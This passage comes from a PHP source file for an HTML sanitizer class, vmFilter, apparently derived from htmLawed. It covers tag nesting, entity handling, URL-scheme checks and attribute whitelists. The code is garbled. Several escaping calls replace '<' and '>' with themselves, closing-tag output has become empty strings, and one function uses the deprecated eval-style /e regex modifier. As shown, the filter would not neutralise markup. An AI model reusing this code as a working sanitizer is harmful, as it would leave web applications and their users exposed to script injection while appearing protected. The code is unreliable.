'font'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'kbd'=>1, 'label'=>1, 'map'=>1, 'object'=>1, 'q'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'select'=>1, 'script'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1, 'tt'=>1, 'u'=>1, 'var'=>1); $eN = array('a'=>1, 'big'=>1, 'button'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'label'=>1, 'object'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1); // Exclude from specific ele; $cN values $eO = array('area'=>1, 'caption'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'dt'=>1, 'legend'=>1, 'li'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'script'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'thead'=>1, 'th'=>1, 'tr'=>1); // Missing in $eB & $eI $eF = $eB + $eI; // $in sets allowed child $in = ((isset($eF[$in]) && $in != '#pcdata') or isset($eO[$in])) ? $in : 'div'; if(isset($cE[$in])){ return (!$do ? '' : str_replace(array('<', '>'), array('<', '>'), $t)); } if(isset($cS[$in])){ $inOk = $cS[$in]; } elseif(isset($cI[$in])){ $inOk = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$in])){ $inOk = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$in])){ $inOk = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$in])){ $inOk = $inOk + $cO[$in]; } if(isset($cN[$in])){ $inOk = array_diff_assoc($inOk, $cN[$in]); } $t = explode('<', $t); $ok = $q = array(); // $q seq list of open non-empty ele ob_start(); for($i=-1, $ci=count($t); ++$i<$ci;){ // allowed $ok in parent $p if($ql = count($q)){ $p = array_pop($q); $q[] = $p; if(isset($cS[$p])){ $ok = $cS[$p]; } elseif(isset($cI[$p])){ $ok = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$p])){ $ok = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$p])){ $ok = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$p])){ $ok = $ok + $cO[$p]; } if(isset($cN[$p])){ $ok = array_diff_assoc($ok, $cN[$p]); } }else{$ok = $inOk; unset($cI['del'], $cI['ins']); } // bad tags, & ele content if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){ echo '<', $s, $e, $a, '>'; } if(isset($x[0])){ if($do < 3 or isset($ok['#pcdata'])){ echo $x; } elseif(strpos($x, "\x02\x04")){ foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){ echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : '')); } }elseif($do > 4){ echo preg_replace('`\S`', '', $x); } } // get markup if(!preg_match('`^(/?)([a-zA-Z1-6]+)([^>]*)>(.*)`sm', $t[$i], $r)){ $x = $t[$i]; continue; } $s = null; $e = null; $a = null; $x = null; list($all, $s, $e, $a, $x) = $r; // close tag if($s){ if(isset($cE[$e]) or !in_array($e, $q)){ continue; } // Empty/unopen if($p == $e){ array_pop($q); echo ''; unset($e); continue; } // Last open $add = ''; // Nesting - close open tags that need to be for($j=-1, $cj=count($q); ++$j<$cj;){ if(($d = array_pop($q)) == $e){ break; } else{$add .= ""; } } echo $add, ''; unset($e); continue; } // open tag // $cB ele needs $eB ele as child if(isset($cB[$e]) && strlen(trim($x))){ $t[$i] = "{$e}{$a}>"; array_splice($t, $i+1, 0, 'div>'. $x); unset($e, $x); ++$ci; --$i; continue; } if((($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql)) && !isset($eB[$e]) && !isset($ok[$e])){ array_splice($t, $i, 0, 'div>'); unset($e, $x); ++$ci; --$i; continue; } // if no open ele, $in = parent; mostly immediate parent-child relation should hold if(!$ql or !isset($eN[$e]) or !array_intersect($q, $cN2)){ if(!isset($ok[$e])){ if($ql && isset($cT[$p])){ echo ''; unset($e, $x); --$i; } continue; } if(!isset($cE[$e])){ $q[] = $e; } echo '<', $e, $a, '>'; unset($e); continue; } // specific parent-child if(isset($cS[$p][$e])){ if(!isset($cE[$e])){ $q[] = $e; } echo '<', $e, $a, '>'; unset($e); continue; } // nesting $add = ''; $q2 = array(); for($k=-1, $kc=count($q); ++$k<$kc;){ $d = $q[$k]; $ok2 = array(); if(isset($cS[$d])){ $q2[] = $d; continue; } $ok2 = isset($cI[$d]) ? $eI : $eF; if(isset($cO[$d])){ $ok2 = $ok2 + $cO[$d]; } if(isset($cN[$d])){ $ok2 = array_diff_assoc($ok2, $cN[$d]); } if(!isset($ok2[$e])){ if(!$k && !isset($inOk[$e])){ continue 2; } $add = ""; for(;++$k<$kc;){ $add = "{$add}"; } break; } else{$q2[] = $d; } } $q = $q2; if(!isset($cE[$e])){ $q[] = $e; } echo $add, '<', $e, $a, '>'; unset($e); continue; } // end if($ql = count($q)){ $p = array_pop($q); $q[] = $p; if(isset($cS[$p])){ $ok = $cS[$p]; } elseif(isset($cI[$p])){ $ok = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$p])){ $ok = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$p])){ $ok = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$p])){ $ok = $ok + $cO[$p]; } if(isset($cN[$p])){ $ok = array_diff_assoc($ok, $cN[$p]); } }else{$ok = $inOk; unset($cI['del'], $cI['ins']); } if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){ echo '<', $s, $e, $a, '>'; } if(isset($x[0])){ if(strlen(trim($x)) && (($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql))){ echo '
      ', $x, '
      '; } elseif($do < 3 or isset($ok['#pcdata'])){ echo $x; } elseif(strpos($x, "\x02\x04")){ foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){ echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : '')); } }elseif($do > 4){ echo preg_replace('`\S`', '', $x); } } while(!empty($q) && ($e = array_pop($q))){ echo ''; } $o = ob_get_contents(); ob_end_clean(); return $o; // eof } public static function hl_cmtcd($t){ // comment/CDATA sec handler $t = $t[0]; $C = vmFilter::$C; if(!($v = $C[$n = $t[3] == '-' ? 'comment' : 'cdata'])){ return $t; } if($v == 1){ return ''; } if($n == 'comment'){ if(substr(($t = preg_replace('`--+`', '-', substr($t, 4, -3))), -1) != ' '){ $t .= ' '; } } else{$t = substr($t, 1, -1); } $t = $v == 2 ? str_replace(array('&', '<', '>'), array('&', '<', '>'), $t) : $t; return str_replace(array('&', '<', '>'), array("\x03", "\x04", "\x05"), ($n == 'comment' ? "\x01\x02\x04!--$t--\x05\x02\x01" : "\x01\x01\x04$t\x05\x01\x01")); // eof } public static function hl_ent($t){ // entitity handler $C = vmFilter::$C; $t = $t[1]; static $U = array('quot'=>1,'amp'=>1,'lt'=>1,'gt'=>1); static $N = array('fnof'=>'402', 'Alpha'=>'913', 'Beta'=>'914', 'Gamma'=>'915', 'Delta'=>'916', 'Epsilon'=>'917', 'Zeta'=>'918', 'Eta'=>'919', 'Theta'=>'920', 'Iota'=>'921', 'Kappa'=>'922', 'Lambda'=>'923', 'Mu'=>'924', 'Nu'=>'925', 'Xi'=>'926', 'Omicron'=>'927', 'Pi'=>'928', 'Rho'=>'929', 'Sigma'=>'931', 'Tau'=>'932', 'Upsilon'=>'933', 'Phi'=>'934', 'Chi'=>'935', 'Psi'=>'936', 'Omega'=>'937', 'alpha'=>'945', 'beta'=>'946', 'gamma'=>'947', 'delta'=>'948', 'epsilon'=>'949', 'zeta'=>'950', 'eta'=>'951', 'theta'=>'952', 'iota'=>'953', 'kappa'=>'954', 'lambda'=>'955', 'mu'=>'956', 'nu'=>'957', 'xi'=>'958', 'omicron'=>'959', 'pi'=>'960', 'rho'=>'961', 'sigmaf'=>'962', 'sigma'=>'963', 'tau'=>'964', 'upsilon'=>'965', 'phi'=>'966', 'chi'=>'967', 'psi'=>'968', 'omega'=>'969', 'thetasym'=>'977', 'upsih'=>'978', 'piv'=>'982', 'bull'=>'8226', 'hellip'=>'8230', 'prime'=>'8242', 'Prime'=>'8243', 'oline'=>'8254', 'frasl'=>'8260', 'weierp'=>'8472', 'image'=>'8465', 'real'=>'8476', 'trade'=>'8482', 'alefsym'=>'8501', 'larr'=>'8592', 'uarr'=>'8593', 'rarr'=>'8594', 'darr'=>'8595', 'harr'=>'8596', 'crarr'=>'8629', 'lArr'=>'8656', 'uArr'=>'8657', 'rArr'=>'8658', 'dArr'=>'8659', 'hArr'=>'8660', 'forall'=>'8704', 'part'=>'8706', 'exist'=>'8707', 'empty'=>'8709', 'nabla'=>'8711', 'isin'=>'8712', 'notin'=>'8713', 'ni'=>'8715', 'prod'=>'8719', 'sum'=>'8721', 'minus'=>'8722', 'lowast'=>'8727', 'radic'=>'8730', 'prop'=>'8733', 'infin'=>'8734', 'ang'=>'8736', 'and'=>'8743', 'or'=>'8744', 'cap'=>'8745', 'cup'=>'8746', 'int'=>'8747', 'there4'=>'8756', 'sim'=>'8764', 'cong'=>'8773', 'asymp'=>'8776', 'ne'=>'8800', 'equiv'=>'8801', 'le'=>'8804', 'ge'=>'8805', 'sub'=>'8834', 'sup'=>'8835', 'nsub'=>'8836', 'sube'=>'8838', 'supe'=>'8839', 'oplus'=>'8853', 'otimes'=>'8855', 'perp'=>'8869', 'sdot'=>'8901', 'lceil'=>'8968', 'rceil'=>'8969', 'lfloor'=>'8970', 'rfloor'=>'8971', 'lang'=>'9001', 'rang'=>'9002', 'loz'=>'9674', 'spades'=>'9824', 'clubs'=>'9827', 'hearts'=>'9829', 'diams'=>'9830', 'apos'=>'39', 'OElig'=>'338', 'oelig'=>'339', 'Scaron'=>'352', 'scaron'=>'353', 'Yuml'=>'376', 'circ'=>'710', 'tilde'=>'732', 'ensp'=>'8194', 'emsp'=>'8195', 'thinsp'=>'8201', 'zwnj'=>'8204', 'zwj'=>'8205', 'lrm'=>'8206', 'rlm'=>'8207', 'ndash'=>'8211', 'mdash'=>'8212', 'lsquo'=>'8216', 'rsquo'=>'8217', 'sbquo'=>'8218', 'ldquo'=>'8220', 'rdquo'=>'8221', 'bdquo'=>'8222', 'dagger'=>'8224', 'Dagger'=>'8225', 'permil'=>'8240', 'lsaquo'=>'8249', 'rsaquo'=>'8250', 'euro'=>'8364', 'nbsp'=>'160', 'iexcl'=>'161', 'cent'=>'162', 'pound'=>'163', 'curren'=>'164', 'yen'=>'165', 'brvbar'=>'166', 'sect'=>'167', 'uml'=>'168', 'copy'=>'169', 'ordf'=>'170', 'laquo'=>'171', 'not'=>'172', 'shy'=>'173', 'reg'=>'174', 'macr'=>'175', 'deg'=>'176', 'plusmn'=>'177', 'sup2'=>'178', 'sup3'=>'179', 'acute'=>'180', 'micro'=>'181', 'para'=>'182', 'middot'=>'183', 'cedil'=>'184', 'sup1'=>'185', 'ordm'=>'186', 'raquo'=>'187', 'frac14'=>'188', 'frac12'=>'189', 'frac34'=>'190', 'iquest'=>'191', 'Agrave'=>'192', 'Aacute'=>'193', 'Acirc'=>'194', 'Atilde'=>'195', 'Auml'=>'196', 'Aring'=>'197', 'AElig'=>'198', 'Ccedil'=>'199', 'Egrave'=>'200', 'Eacute'=>'201', 'Ecirc'=>'202', 'Euml'=>'203', 'Igrave'=>'204', 'Iacute'=>'205', 'Icirc'=>'206', 'Iuml'=>'207', 'ETH'=>'208', 'Ntilde'=>'209', 'Ograve'=>'210', 'Oacute'=>'211', 'Ocirc'=>'212', 'Otilde'=>'213', 'Ouml'=>'214', 'times'=>'215', 'Oslash'=>'216', 'Ugrave'=>'217', 'Uacute'=>'218', 'Ucirc'=>'219', 'Uuml'=>'220', 'Yacute'=>'221', 'THORN'=>'222', 'szlig'=>'223', 'agrave'=>'224', 'aacute'=>'225', 'acirc'=>'226', 'atilde'=>'227', 'auml'=>'228', 'aring'=>'229', 'aelig'=>'230', 'ccedil'=>'231', 'egrave'=>'232', 'eacute'=>'233', 'ecirc'=>'234', 'euml'=>'235', 'igrave'=>'236', 'iacute'=>'237', 'icirc'=>'238', 'iuml'=>'239', 'eth'=>'240', 'ntilde'=>'241', 'ograve'=>'242', 'oacute'=>'243', 'ocirc'=>'244', 'otilde'=>'245', 'ouml'=>'246', 'divide'=>'247', 'oslash'=>'248', 'ugrave'=>'249', 'uacute'=>'250', 'ucirc'=>'251', 'uuml'=>'252', 'yacute'=>'253', 'thorn'=>'254', 'yuml'=>'255'); if($t[0] != '#'){ return ($C['and_mark'] ? "\x06" : '&'). (isset($U[$t]) ? $t : (isset($N[$t]) ? (!$C['named_entity'] ? '#'. ($C['hexdec_entity'] > 1 ? 'x'. dechex($N[$t]) : $N[$t]) : $t) : 'amp;'. $t)). ';'; } if(($n = ctype_digit($t = substr($t, 1)) ? intval($t) : hexdec(substr($t, 1))) < 9 or ($n > 13 && $n < 32) or $n == 11 or $n == 12 or ($n > 126 && $n < 160 && $n != 133) or ($n > 55295 && ($n < 57344 or ($n > 64975 && $n < 64992) or $n == 65534 or $n == 65535 or $n > 1114111))){ return ($C['and_mark'] ? "\x06" : '&'). "amp;#{$t};"; } return ($C['and_mark'] ? "\x06" : '&'). '#'. (((ctype_digit($t) && $C['hexdec_entity'] < 2) or !$C['hexdec_entity']) ? $n : 'x'. dechex($n)). ';'; // eof } public static function hl_prot($p, $c=null){ // check URL scheme $C = vmFilter::$C; $b = $a = ''; if($c == null){ $c = 'style'; $b = $p[1]; $a = $p[3]; $p = trim($p[2]); } $c = isset($C['schemes'][$c]) ? $C['schemes'][$c] : $C['schemes']['*']; static $d = 'denied:'; if(isset($c['!']) && substr($p, 0, 7) != $d){ $p = "$d$p"; } if(isset($c['*']) or !strcspn($p, '#?;') or (substr($p, 0, 7) == $d)){ return "{$b}{$p}{$a}"; } // All ok, frag, query, param if(preg_match('`^([a-z\d\-+.&#; ]+?)(:|&#(58|x3a);|%3a|\\\\0{0,4}3a).`i', $p, $m) && !isset($c[strtolower($m[1])])){ // Denied prot return "{$b}{$d}{$p}{$a}"; } if($C['abs_url']){ if($C['abs_url'] == -1 && strpos($p, $C['base_url']) === 0){ // Make url rel $p = substr($p, strlen($C['base_url'])); }elseif(empty($m[1])){ // Make URL abs if(substr($p, 0, 2) == '//'){ $p = substr($C['base_url'], 0, strpos($C['base_url'], ':')+1). $p; } elseif($p[0] == '/'){ $p = preg_replace('`(^.+?://[^/]+)(.*)`', '$1', $C['base_url']). $p; } elseif(strcspn($p, './')){ $p = $C['base_url']. $p; } else{ preg_match('`^([a-zA-Z\d\-+.]+://[^/]+)(.*)`', $C['base_url'], $m); $p = preg_replace('`(?<=/)\./`', '', $m[2]. $p); while(preg_match('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', $p)){ $p = preg_replace('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', '', $p); } $p = $m[1]. $p; } } } return "{$b}{$p}{$a}"; // eof } public static function hl_regex($p){ // ?regex if(empty($p)){ return 0; } if($t = ini_get('track_errors')){ $o = isset($php_errormsg) ? $php_errormsg : null; } else{ini_set('track_errors', 1); } unset($php_errormsg); if(($d = ini_get('display_errors'))){ ini_set('display_errors', 0); } preg_match($p, ''); if($d){ ini_set('display_errors', 1); } $r = isset($php_errormsg) ? 0 : 1; if($t){ $php_errormsg = isset($o) ? $o : null; } else{ini_set('track_errors', 0); } return $r; // eof } public static function hl_spec($t){ // final $spec $s = array(); $t = str_replace(array("\t", "\r", "\n", ' '), '', preg_replace('/"(?>(`.|[^"])*)"/sme', 'substr(str_replace(array(";", "|", "~", " ", ",", "/", "(", ")", \'`"\'), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\""), "$0"), 1, -1)', trim($t))); for($i = count(($t = explode(';', $t))); --$i>=0;){ $w = $t[$i]; if(empty($w) or ($e = strpos($w, '=')) === false or !strlen(($a = substr($w, $e+1)))){ continue; } $y = $n = array(); foreach(explode(',', $a) as $v){ if(!preg_match('`^([a-z:\-\*]+)(?:\((.*?)\))?`i', $v, $m)){ continue; } if(($x = strtolower($m[1])) == '-*'){ $n['*'] = 1; continue; } if($x[0] == '-'){ $n[substr($x, 1)] = 1; continue; } if(!isset($m[2])){ $y[$x] = 1; continue; } foreach(explode('/', $m[2]) as $m){ if(empty($m) or ($p = strpos($m, '=')) == 0 or $p < 5){ $y[$x] = 1; continue; } $y[$x][strtolower(substr($m, 0, $p))] = str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08"), array(";", "|", "~", " ", ",", "/", "(", ")"), substr($m, $p+1)); } if(isset($y[$x]['match']) && !vmFilter::hl_regex($y[$x]['match'])){ unset($y[$x]['match']); } if(isset($y[$x]['nomatch']) && !vmFilter::hl_regex($y[$x]['nomatch'])){ unset($y[$x]['nomatch']); } } if(!count($y) && !count($n)){ continue; } foreach(explode(',', substr($w, 0, $e)) as $v){ if(!strlen(($v = strtolower($v)))){ continue; } if(count($y)){ $s[$v] = $y; } if(count($n)){ $s[$v]['n'] = $n; } } } return $s; // eof } public static function hl_tag($t){ // tag/attribute handler $C = vmFilter::$C; $t = $t[0]; // invalid < > if($t == '< '){ return '< '; } if($t == '>'){ return '>'; } if(!preg_match('`^<(/?)([a-zA-Z][a-zA-Z1-6]*)([^>]*?)\s?>$`m', $t, $m)){ return str_replace(array('<', '>'), array('<', '>'), $t); }elseif(!isset($C['elements'][($e = strtolower($m[2]))])){ return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('<', '>'), $t) : ''); } // attr string $a = str_replace(array("\n", "\r", "\t"), ' ', trim($m[3])); // tag transform static $eD = array('applet'=>1, 'center'=>1, 'dir'=>1, 'embed'=>1, 'font'=>1, 'isindex'=>1, 'menu'=>1, 's'=>1, 'strike'=>1, 'u'=>1); // Deprecated if($C['make_tag_strict'] && isset($eD[$e])){ $trt = vmFilter::hl_tag2($e, $a, $C['make_tag_strict']); if(!$e){ return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('<', '>'), $t) : ''); } } // close tag static $eE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty ele if(!empty($m[1])){ return (!isset($eE[$e]) ? "" : (($C['keep_bad'])%2 ? str_replace(array('<', '>'), array('<', '>'), $t) : '')); } // open tag & attr static $aN = array('abbr'=>array('td'=>1, 'th'=>1), 'accept-charset'=>array('form'=>1), 'accept'=>array('form'=>1, 'input'=>1), 'accesskey'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'legend'=>1, 'textarea'=>1), 'action'=>array('form'=>1), 'align'=>array('caption'=>1, 'embed'=>1, 'applet'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'legend'=>1, 'table'=>1, 'hr'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'p'=>1, 'col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'alt'=>array('applet'=>1, 'area'=>1, 'img'=>1, 'input'=>1), 'archive'=>array('applet'=>1, 'object'=>1), 'axis'=>array('td'=>1, 'th'=>1), 'bgcolor'=>array('embed'=>1, 'table'=>1, 'tr'=>1, 'td'=>1, 'th'=>1), 'border'=>array('table'=>1, 'img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'cellpadding'=>array('table'=>1), 'cellspacing'=>array('table'=>1), 'char'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charoff'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charset'=>array('a'=>1, 'script'=>1), 'checked'=>array('input'=>1), 'cite'=>array('blockquote'=>1, 'q'=>1, 'del'=>1, 'ins'=>1), 'classid'=>array('object'=>1), 'clear'=>array('br'=>1), 'code'=>array('applet'=>1), 'codebase'=>array('object'=>1, 'applet'=>1), 'codetype'=>array('object'=>1), 'color'=>array('font'=>1), 'cols'=>array('textarea'=>1), 'colspan'=>array('td'=>1, 'th'=>1), 'compact'=>array('dir'=>1, 'dl'=>1, 'menu'=>1, 'ol'=>1, 'ul'=>1), 'coords'=>array('area'=>1, 'a'=>1), 'data'=>array('object'=>1), 'datetime'=>array('del'=>1, 'ins'=>1), 'declare'=>array('object'=>1), 'defer'=>array('script'=>1), 'dir'=>array('bdo'=>1), 'disabled'=>array('button'=>1, 'input'=>1, 'optgroup'=>1, 'option'=>1, 'select'=>1, 'textarea'=>1), 'enctype'=>array('form'=>1), 'face'=>array('font'=>1), 'for'=>array('label'=>1), 'frame'=>array('table'=>1), 'frameborder'=>array('iframe'=>1), 'headers'=>array('td'=>1, 'th'=>1), 'height'=>array('embed'=>1, 'iframe'=>1, 'td'=>1, 'th'=>1, 'img'=>1, 'object'=>1, 'applet'=>1), 'href'=>array('a'=>1, 'area'=>1), 'hreflang'=>array('a'=>1), 'hspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'ismap'=>array('img'=>1, 'input'=>1), 'label'=>array('option'=>1, 'optgroup'=>1), 'language'=>array('script'=>1), 'longdesc'=>array('img'=>1, 'iframe'=>1), 'marginheight'=>array('iframe'=>1), 'marginwidth'=>array('iframe'=>1), 'maxlength'=>array('input'=>1), 'method'=>array('form'=>1), 'model'=>array('embed'=>1), 'multiple'=>array('select'=>1), 'name'=>array('button'=>1, 'embed'=>1, 'textarea'=>1, 'applet'=>1, 'select'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'a'=>1, 'input'=>1, 'object'=>1, 'map'=>1, 'param'=>1), 'nohref'=>array('area'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'object'=>array('applet'=>1), 'onblur'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onchange'=>array('input'=>1, 'select'=>1, 'textarea'=>1), 'onfocus'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onreset'=>array('form'=>1), 'onselect'=>array('input'=>1, 'textarea'=>1), 'onsubmit'=>array('form'=>1), 'pluginspage'=>array('embed'=>1), 'pluginurl'=>array('embed'=>1), 'prompt'=>array('isindex'=>1), 'readonly'=>array('textarea'=>1, 'input'=>1), 'rel'=>array('a'=>1), 'rev'=>array('a'=>1), 'rows'=>array('textarea'=>1), 'rowspan'=>array('td'=>1, 'th'=>1), 'rules'=>array('table'=>1), 'scope'=>array('td'=>1, 'th'=>1), 'scrolling'=>array('iframe'=>1), 'selected'=>array('option'=>1), 'shape'=>array('area'=>1, 'a'=>1), 'size'=>array('hr'=>1, 'font'=>1, 'input'=>1, 'select'=>1), 'span'=>array('col'=>1, 'colgroup'=>1), 'src'=>array('embed'=>1, 'script'=>1, 'input'=>1, 'iframe'=>1, 'img'=>1), 'standby'=>array('object'=>1), 'start'=>array('ol'=>1), 'summary'=>array('table'=>1), 'tabindex'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'object'=>1, 'select'=>1, 'textarea'=>1), 'target'=>array('a'=>1, 'area'=>1, 'form'=>1), 'type'=>array('a'=>1, 'embed'=>1, 'object'=>1, 'param'=>1, 'script'=>1, 'input'=>1, 'li'=>1, 'ol'=>1, 'ul'=>1, 'button'=>1), 'usemap'=>array('img'=>1, 'input'=>1, 'object'=>1), 'valign'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'value'=>array('input'=>1, 'option'=>1, 'param'=>1, 'button'=>1, 'li'=>1), 'valuetype'=>array('param'=>1), 'vspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'width'=>array('embed'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'object'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'applet'=>1, 'col'=>1, 'colgroup'=>1, 'pre'=>1), 'wmode'=>array('embed'=>1), 'xml:space'=>array('pre'=>1, 'script'=>1, 'style'=>1)); // Ele-specific static $aNE = array('checked'=>1, 'compact'=>1, 'declare'=>1, 'defer'=>1, 'disabled'=>1, 'ismap'=>1, 'multiple'=>1, 'nohref'=>1, 'noresize'=>1, 'noshade'=>1, 'nowrap'=>1, 'readonly'=>1, 'selected'=>1); // Empty static $aNP = array('action'=>1, 'cite'=>1, 'classid'=>1, 'codebase'=>1, 'data'=>1, 'href'=>1, 'longdesc'=>1, 'model'=>1, 'pluginspage'=>1, 'pluginurl'=>1, 'usemap'=>1); // Need scheme check; excludes style, on* & src static $aNU = array('class'=>array('param'=>1, 'script'=>1), 'dir'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'id'=>array('script'=>1), 'lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'xml:lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'onclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'ondblclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeydown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeypress'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeyup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousedown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousemove'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseout'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseover'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'style'=>array('param'=>1, 'script'=>1), 'title'=>array('param'=>1, 'script'=>1)); // Univ & exceptions if($C['lc_std_val']){ // predef attr vals for $eAL & $aNE ele static $aNL = array('all'=>1, 'baseline'=>1, 'bottom'=>1, 'button'=>1, 'center'=>1, 'char'=>1, 'checkbox'=>1, 'circle'=>1, 'col'=>1, 'colgroup'=>1, 'cols'=>1, 'data'=>1, 'default'=>1, 'file'=>1, 'get'=>1, 'groups'=>1, 'hidden'=>1, 'image'=>1, 'justify'=>1, 'left'=>1, 'ltr'=>1, 'middle'=>1, 'none'=>1, 'object'=>1, 'password'=>1, 'poly'=>1, 'post'=>1, 'preserve'=>1, 'radio'=>1, 'rect'=>1, 'ref'=>1, 'reset'=>1, 'right'=>1, 'row'=>1, 'rowgroup'=>1, 'rows'=>1, 'rtl'=>1, 'submit'=>1, 'text'=>1, 'top'=>1); static $eAL = array('a'=>1, 'area'=>1, 'bdo'=>1, 'button'=>1, 'col'=>1, 'form'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'xml:space'=>1); $lcase = isset($eAL[$e]) ? 1 : 0; } $depTr = 0; if($C['no_deprecated_attr']){ // dep attr:applicable ele static $aND = array('align'=>array('caption'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'object'=>1, 'p'=>1, 'table'=>1), 'bgcolor'=>array('table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1), 'border'=>array('img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'clear'=>array('br'=>1), 'compact'=>array('dl'=>1, 'ol'=>1, 'ul'=>1), 'height'=>array('td'=>1, 'th'=>1), 'hspace'=>array('img'=>1, 